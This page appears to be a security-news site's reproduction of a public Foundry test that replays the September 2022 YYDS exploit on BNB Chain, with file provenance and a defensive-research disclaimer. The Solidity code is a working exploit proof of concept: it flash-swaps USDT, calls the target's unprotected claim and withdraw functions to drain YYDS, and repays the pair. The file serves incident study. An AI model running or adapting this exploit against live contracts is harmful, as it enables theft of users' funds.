Skip to content
THREATWIRE

Public reproduction file

src/test/2022-09/Yyds_exp.sol

Public reproduction file for dataset entry YYDS.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2022-09/Yyds_exp.sol60 lines
1pragma solidity ^0.8.10;
2
3import "forge-std/Test.sol";
4import "./../interface.sol";
5
6interface TargetClaim {
7 function claim(
8 address
9 ) external;
12interface TargetWithdraw {
13 function withdrawReturnAmountByMerchant() external;
14 function withdrawReturnAmountByConsumer() external;
15 function withdrawReturnAmountByReferral() external;
18contract ContractTest is Test {
19 IERC20 WBNB = IERC20(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c);
20 IERC20 USDT = IERC20(0x55d398326f99059fF775485246999027B3197955);
21 IERC20 YYDS = IERC20(0xB19463ad610ea472a886d77a8ca4b983E4fAf245);
22 Uni_Pair_V2 Pair = Uni_Pair_V2(0xd5cA448b06F8eb5acC6921502e33912FA3D63b12);
23 TargetClaim targetClaim = TargetClaim(0xe70cdd37667cdDF52CabF3EdabE377C58FaE99e9);
24 TargetWithdraw targetWihtdraw = TargetWithdraw(0x970A76aEa6a0D531096b566340C0de9B027dd39D);
25 CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
26 uint256 reserve0;
27 uint256 reserve1;
29 function setUp() public {
30 cheats.createSelectFork("bsc", 21_157_025);
31 }
33 function testExploit() public {
34 emit log_named_decimal_uint("[Start] Attacker USDT balance before exploit", USDT.balanceOf(address(this)), 18);
36 (reserve0, reserve1,) = Pair.getReserves();
37 uint256 amount0Out = USDT.balanceOf(address(Pair));
38 Pair.swap(amount0Out - 1 * 1e18, 0, address(this), new bytes(1));
40 emit log_named_decimal_uint("[End] Attacker USDT balance after exploit", USDT.balanceOf(address(this)), 18);
41 }
43 function pancakeCall(address sender, uint256 amount0, uint256 amount1, bytes calldata data) public {
44 emit log_named_decimal_uint("Attacker YYDS balance before exploit", YYDS.balanceOf(address(this)), 18);
46 targetClaim.claim(address(this));
47 try targetWihtdraw.withdrawReturnAmountByReferral() {} catch {}
48 try targetWihtdraw.withdrawReturnAmountByMerchant() {} catch {}
49 try targetWihtdraw.withdrawReturnAmountByConsumer() {} catch {}
51 emit log_named_decimal_uint("Attacker YYDS balance after exploit", YYDS.balanceOf(address(this)), 18);
53 uint256 yydsInContract = YYDS.balanceOf(address(this));
54 YYDS.transfer(address(Pair), yydsInContract);
55 uint256 yydsInPair = YYDS.balanceOf(address(Pair));
56 uint256 amountUsdt =
57 (reserve0 * reserve1 / ((yydsInPair * 10_000 - yydsInContract * 25) / 10_000)) / 9975 * 10_000;
58 USDT.transfer(address(Pair), amountUsdt);
59 }

Analysis

Dataset entry

Public Foundry test for “YYDS” (2022-09-08). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

12 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

File record

Name
YYDS
Path
src/test/2022-09/Yyds_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
e75e1bdd7f623b87ce12a3b8a9da2b87bbc8d113
Language
Solidity
Size
61 lines
Date
2022-09-08
Licence
ThreatWire editorial text
Retrieved
2026-10-19

Provenance

Path src/test/2022-09/Yyds_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob e75e1bdd7f623b87ce12a3b8a9da2b87bbc8d113, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.